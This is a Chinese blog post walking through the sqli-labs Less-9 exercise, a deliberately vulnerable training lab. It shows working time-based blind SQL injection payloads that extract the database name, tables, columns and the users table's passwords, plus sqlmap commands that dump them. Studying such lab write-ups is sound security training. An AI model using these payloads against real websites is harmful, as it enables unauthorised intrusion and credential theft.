首页 > 其他分享 >lesson9基于GET提交的单引号闭合的时间盲注

lesson9基于GET提交的单引号闭合的时间盲注

时间:2024-03-26 10:47:16浏览次数:17  
标签:GET lesson9 sleep --+ table 延迟 盲注 id 页面

lesson9基于GET提交的单引号闭合的时间盲注

-SFWiQgfyeY_Us__BTFErgRCA5EVSLjViolVeNoAnpQ

这一关不管输入什么,页面都是显示You are in......因此只能使用时间盲注

一、手工注入

1.判断注入点

判断注入类型是否为数字型
?id=1 and 1=1 and sleep(5)
?id=1 and 1=2 and sleep(5)

如果是数字型那么页面会延迟5秒,但是发现页面并没有延迟,所以不是数字型。

判断注入类型是否为字符型
?id=1' and 1=1 and sleep(5)--+
?id=1' and 1=2 and sleep(5)--+

Cve3mp66F6G43otw5XONLCzNLG1QGfXHVvACAT4rock

Eje5ZqcpDeEZotDdlBxryavWL1_XBjl8k90HOl8l4Gk

发现1=1的时候页面延迟了,1=2的时候页面没有延迟。所以是单引号闭合

2.爆字段个数

?id=1' and sleep(5) order by 3--+

发现order by 3页面延迟了,order by4页面没有延迟,所以字段个数是3

3.猜测数据库长度

?id=1' and if(length(database())>7,sleep(5),1)--+

语句意思是如果数据库长度大于7,页面就会延迟5秒,反之不延迟。发现大于8的时候没有延迟,可判定数据库长度为8

4.猜测数据库名称

?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+

发现数据库名字第一个字符大于114时页面延迟了,大于115没有延迟,得到第一个字符是s,其他字符也是依葫芦画瓢一个个试,得到数据库名字为security。

5.猜测表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()  limit 3,1))>4,sleep(5),1)--+

发现第4个表长度大于4页面延迟,大于5页面正常,可知第4个表长5

6.猜测表名名称

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+

得到第四个表第一个字符大于116页面延迟,大于117页面正常,得到第一个字符ascii码为17对应字符u,以此类推得到users表名

7.猜测列名长度

?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+

得到第二个列名长度大于7页面延迟,大于8页面正常,以此类推推出所有列名长度。

8.猜测列名名称

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+

发现第二个列名第一个字符大于116页面延迟,大于117页面正常,得到第一个字符为u,以此类推得到第二个和第三个列名为username和password

9.猜测数据长度

?id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+

这里以password的数据内容为例,看到第一个密码长度大于3页面延迟,大于4页面正常。得到第一个密码长4,以此类推得到所有密码和用户名长度。

10.猜测数据内容

?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+

得到第一个密码第一个字符为D,以此类推得到所有账号和密码。

二、SQLMap注入

由于手工注入步骤过多,猜测内容过于繁琐,因此使用SQLMap等脚本工具注入更加方便

1.直接运行

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1

CNYElH-1j1aWB1xZf3y_JWcvki_hpi3BT7nYQDftaW4

告诉了我们注入参数为id,注入类型是布尔盲注(这里的布尔盲注的payload我也没看懂为啥可以用,如果有师傅知道的话还望指导一下)和时间盲注

2.查看当前数据库

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -current-db

OihQbbUHbLGtINvdTmNSs4IMbUyVLMDBTnB8WSbP2wI

3.查看表名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -tables

7TVjJN8UuiCQTUJMc8yB4RS_IzSHliJSi74A-PgnXeY

4.查看列名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -columns

z5Iah3iDTZH5pXgiA597RkgMcccYQuo-Hrx7Gq4QtsY

5.查看字段内容

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -C username,password --dump

94_I-L6iWPjZKl0Y73dXIXE_cMhhNhD37fvApCXpG9k

标签:GET,lesson9,sleep,--+,table,延迟,盲注,id,页面
From: https://www.cnblogs.com/fishjumpriver/p/18096041

相关文章

  • How to get the client IP address with Javascript only
    LearnhowtogettheclientIPaddress(localandprivate)usingonlyjavascript.​​Javascript无法获取(也无法存储)客户端IP,但是Javascript能够创建Http请求,并且服务器端语言能够检索用户的公共IP,因此您可以利用这一优势。换句话说,如果你想检索用户的公共IP,你将依赖于对任......
  • How to get the client IP address with Javascript only
    LearnhowtogettheclientIPaddress(localandprivate)usingonlyjavascript.​​Javascriptisunabletoget(norstoressomewhere)theclientIP,howeverjavascriptisabletocreateHttprequests,andserversidelanguagesareabletoretrievetheu......
  • C语言——getchar()
     //这里的代码适当修改是可以用来清理缓冲区的intmain(){ intch=0; while((ch=getchar())!=EOF) { putchar(ch); }return0;}intmain(){ //举一个例子 //假设密码是一个字符串 charpassword[20]={0}; printf("请输入密码:>"); scanf("%s......
  • QtableWidget 表头增加复选框简单实现方法
    1.最近再开发一个批量查询上传的小工具,要增加一个批量选择的复选框,全选或者全不选;QCheckBox*checkBox=newQCheckBox(ui.tableWidget);checkBox->resize(40,24);ui.tableWidget->setCellWidget(0,0,checkBox);checkBox->setStyleSheet("margi......
  • Flink: Function And Rich Function , 对比 Function ,Rich functions还提供了这些方法:o
    Flink:FunctionAndRichFunction,对比Function,Richfunctions还提供了这些方法:open、close、getRuntimeContext和setRuntimeContext序言    了解了Flink提供的算子,那我们就可以自定义算子了.自定义算子的目的是为了更加灵活的处理我们的业务数据,并将满足条件......
  • Vue学习笔记59--store(getters + )
    store(getters) 示例一:Count.vue<template><div><h3>当前求和为:{{$store.state.sum}}</h3><h3>当前求和*10为:{{$store.getters.bigSum}}</h3><!--<selectv-model="selectNo"><option:va......
  • NAPI :创建头文件,调用so库中方法报错:undefined symbol: box_get_auth_count()
    报错信息使用的头文件#ifndefauthorization_H#defineauthorization_H...intbox_get_auth_count();...#endif//authorization_H错误原因找不到box_get_auth_count,建议使用extern"C"extern“C”申明下面的方法用C编译解决方法使用的头文件#ifn......
  • sql盲注流量
    先使用http协议过滤,发现很多get方法中存在sql注入语句随便点击一个,对其语句进行url解码发现黑客是在猜解flag表的keyid字段,大概率flag就是keyid的值盲注的区别就是返回包的不同状态失败会返回nothing,并且返回包的长度是661,成功会返回文章内容,长度是695之后写脚本: 1impo......
  • 数据库getshell
    数据库getshellmysql拿sqli-labs实验先弄环境linux下:下载sqli-labs到/var/www/html开启apache2、mysql连接mysql执行命令:createuser'sqlilab'@'localhost'identifiedby'sqlilab';GRANTALLON*.*TO'sqlilab'@'localhost';set......
  • 爬虫----084-86requests基本使用及get,post请求
    基本使用importrequestsurl='http://www.baidu.com'response=requests.get(url=url)#一个类型和6个属性#print(type(response))#Response类型#设置响应地编码格式response.encoding='utf-8'#以字符串形式返回网页源码#print(response.text)#......